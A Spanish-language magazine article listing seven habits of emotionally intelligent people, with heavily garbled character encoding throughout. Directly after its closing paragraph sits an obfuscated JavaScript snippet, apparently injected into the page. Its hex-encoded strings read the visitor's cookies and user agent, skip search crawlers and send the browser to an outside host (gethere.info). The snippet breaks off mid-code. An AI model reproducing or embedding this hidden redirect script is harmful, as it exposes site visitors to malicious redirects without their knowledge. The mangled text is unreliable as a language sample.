Entretenimiento

25 Oct 2015
Entretenimiento | Por: Redacción

7 hA?bitos de las personas emocionalmente inteligentes

Mejorar la inteligencia emocional es algo que requiere trabajo, pero se puede conseguir. Es mA?s, es completamente necesario si se quiere progresar a nivel personal y mejorar las relaciones con los demA?s.

Fuente: Upsocl.com

Una persona emocionalmente inteligente es aquella que tiene la capacidad de manejar los sentimientos propios y ajenos. Este tipo de personas tienen a una serie de hA?bitos y comportamientos que contribuyen a su capacidad de gestionar sus propias emociones y comprender los sentimientos de los demA?s. Te las compartimos para que reflexionAi??s y te des cuenta si sos una persona con inteligencia emocional o si debAi??s continuar trabajando para poder lograrlo.

1 ai??i?? Prestan atenciA?n a lo que estA?n sintiendo

Daniel Goleman, especialista en el tema, identifica la autoconciencia como uno de los componentes clave de la inteligencia emocional. La autoconciencia consiste en la capacidad de reconocer los estados de A?nimo, emociones y sentimientos. Parte de la autoconciencia tambiAi??n implica ser consciente de cA?mo las emociones y estados de A?nimo influyen en otras personas. Esta capacidad de controlar los propios estados emocionales es un requisito bA?sico para la inteligencia emocional.

2 ai??i?? CA?mo se sienten otras personas

La empatAi??a es otro de los elementos principales que se relaciona con la inteligencia emocional. La empatAi??a implica la capacidad de comprender las emociones de otras personas. Con el fin de interactuar con otros en mA?ltiples A?mbitos de la vida, como en el trabajo o en la escuela, las personas emocionalmente inteligentes son capaces de saber lo que otros estA?n sintiendo. Si un compaAi??ero de trabajo estA? molesto o frustrado, sabiendo lo que siente, se le puede dar una mejor idea de cA?mo responder.

3 ai??i?? Son capaces de regular sus emociones

La autorregulaciA?n es absolutamente fundamental para la inteligencia emocional. La comprensiA?n de sus emociones es grande por parte de las personas emocionalmente inteligentes, pero no es particularmente A?til si no se puede hacer uso de este conocimiento. Por eso, las personas con inteligencia emocional piensan, antes de actuar, sobre sus sentimientos. Estas personas estA?n en sintonAi??a con lo que sienten, pero no permiten que sus emociones gobiernen sus vidas.

4 ai??i?? Siempre estA?n motivadas

Estas personas se sienten motivadas para lograr sus metas y son capaces de manejar sus comportamientos y sentimientos con el fin de lograr el Ai??xito a largo plazo. PodrAi??an estar nerviosos a la hora de hacer un cambio en sus vidas, pero ellos saben que la gestiA?n de este miedo es importante. Al dar un salto y realizar el cambio, saben que pueden hacer su vida mejor y eso les hace estar un paso mA?s cerca de la consecuciA?n de sus objetivos.

5 ai??i?? Tienen grandes habilidades sociales

Las personas emocionalmente inteligentes tambiAi??n tienden a tener grandes habilidades sociales. Probablemente, esto sea debido, al menos en parte, a que saben estar en sintonAi??a con sus propios sentimientos, asAi?? como con los de los demA?s. Saben cA?mo tratar con la gente de manera efectiva, mantener de relaciones sociales saludables y ayudar a los que les rodean a tener Ai??xito.

6 ai??i??Son capaces de hablar de sus sentimientos con los demA?s

AdemA?s de ser capaces de hablar de sus sentimientos en pA?blico, tambiAi??n estA?n dispuestas a hacerlo. Porque a veces las personas son empA?ticas y estA?n en sintonAi??a con sus emociones, pero luchan para no compartir estos sentimientos con los demA?s. Sin embargo, las personas emocionalmente inteligentes no solo entienden los sentimientos, sino que saben cA?mo expresarlos adecuadamente y, ademA?s, lo hacen, que es de las cosas mA?s importantes. Algo asAi?? como predicar con el ejemplo.

7 ai??i?? Son capaces de identificar correctamente las causas de sus emociones

Las personas emocionalmente inteligentes son capaces de ver la situaciA?n e identificar correctamente la verdadera fuente de sus sentimientos. Al principio esto puede parecer una tarea fA?cil, pero en la realidad no lo es, porque la vida emocional suele ser complicada. Localizar la fuente exacta de los sentimientos puede ser particularmente difAi??cil en casos relacionados con emociones fuertes, como el amor o la ira.

Mejorar la inteligencia emocional es algo que requiere trabajo, pero se puede conseguir. Es mA?s, es completamente necesario si se quiere progresar a nivel personal y mejorar las relaciones con los demA?s.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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